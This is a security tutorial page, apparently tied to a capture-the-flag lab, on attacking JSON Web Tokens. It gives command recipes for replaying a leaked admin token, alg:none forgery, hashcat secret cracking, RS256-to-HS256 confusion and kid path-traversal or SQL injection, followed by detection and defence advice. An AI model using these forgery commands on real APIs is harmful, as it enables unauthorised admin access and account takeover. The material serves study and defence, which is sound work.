JWT Attacks
Full command arsenal in the cheatsheetA JWT (JSON Web Token) is the most widespread format for keeping a stateless session in APIs. It's three Base64URL parts separated by dots, header.payload.signature, and they always start with ey (the encoded leading {"). The header states the algorithm (alg, typically HS256), the payload carries the session data (claims: user id, role, expiry exp...) and the signature seals them with a key only the server knows.
The key detail is that the payload is not encrypted, only encoded: anyone can read it (paste it into jwt.io or decode the Base64). What stops forgery is the signature. The usual abuses follow from that:
- Leaked/hardcoded token. If a valid JWT shows up where it shouldn't (a mobile app's code, a repo, a log), it's reused as-is. That's what happens here: an
Adminrole token was baked into the.apk, and with it the API grants admin access. To send it, just add theAuthorizationheader:
curl -X GET "http://api.example.htb/api/v1/admin/list/users" \
-H "Authorization: eyJhbGciOiJIUzI1NiIs..."- Eternal expiry. An
expset absurdly far in the future means the token never expires; worth checking when you decode it. alg: noneand weak secret. Some implementations accept unsigned tokens (alg: none) or use a weak HMAC secret that can be cracked offline (withhashcat -m 16500), letting you forge tokens with any role you like.
Forgery and cracking recipes
# 1) alg:none -> strip the signature and change the claim (role/user)
python3 jwt_tool.py <JWT> -X a # generates alg:none variants
python3 jwt_tool.py <JWT> -T # edit claims interactively
# 2) weak HMAC secret -> crack offline and sign whatever token you want
hashcat -m 16500 jwt.txt <rockyou.txt> # 16500 = JWT (HS256/384/512)
python3 jwt_tool.py <JWT> -C -d <rockyou.txt> # cracking with jwt_tool
python3 jwt_tool.py <JWT> -S hs256 -p '<secret>' -T # re-sign with the found secret
# 3) algorithm confusion RS256 -> HS256 (sign with the PUBLIC key as the HMAC secret)
python3 jwt_tool.py <JWT> -X k -pk public.pem # uses the server's public key as HMAC key
# 4) kid injection: the 'kid' points to a file/query under your control
# kid = "../../../../dev/null" -> empty key -> sign with secret ""
# kid with SQLi -> return a known keySee forgery with a leaked secret and forgery with an embedded JWK and factorable RSA.
How to detect it. Token tampering leaves traces on the server: a spike of signature-validation failures (rejected JWTs) while a single client tries variants signals forgery or secret cracking. The alg: none header or an alg change (from RS256 to HS256, algorithm-confusion attack) on an inbound token should be logged and alerted: no legitimate client downgrades the algorithm. A token with an absurdly distant exp, or the same token reused from wildly different IPs, points to theft/reuse. Since the payload is readable, a WAF/gateway can inspect alg and exp in transit. The defensive key is to log and count signature rejections per source, not just silently accept them.
Defence. Don't embed tokens in clients, sign with long random secrets, reject alg: none, issue short expiries and validate the exp and role server-side on every request.